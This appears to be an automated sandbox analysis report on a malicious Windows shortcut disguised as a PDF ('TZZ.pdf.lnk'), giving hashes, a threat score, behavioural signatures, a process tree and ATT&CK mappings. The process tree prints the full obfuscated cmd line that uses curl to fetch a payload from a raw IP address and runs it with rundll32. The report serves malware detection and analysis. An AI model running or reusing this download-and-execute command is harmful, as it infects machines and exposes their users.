Resubmissions

07-05-2024 12:38

240507-pvdkrsga4z 10

16-10-2023 16:11

231016-tmwtlaab41 7

Analysis

  • max time kernel
    136s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 12:38

General

  • Target

    Birdman/TZZ.pdf.lnk

  • Size

    1KB

  • MD5

    54801c419cd1468e340604dd320223d8

  • SHA1

    413c08277d29c965fb667a83af76d453004a15ed

  • SHA256

    d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961

  • SHA512

    55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4344
      • C:\Windows\system32\PING.EXE
        p"iN"G UL
        3⤵
        • Runs ping.exe
        PID:3612
      • C:\Windows\system32\curl.exe
        C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log
        3⤵
          PID:4088
        • C:\Windows\system32\PING.EXE
          p"iN"G -n 3 UL
          3⤵
          • Runs ping.exe
          PID:2948
        • C:\Windows\system32\rundll32.exe
          RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var
          3⤵
            PID:3736

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      2
      T1082

      Remote System Discovery

      1
      T1018

      Replay Monitor

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      Downloads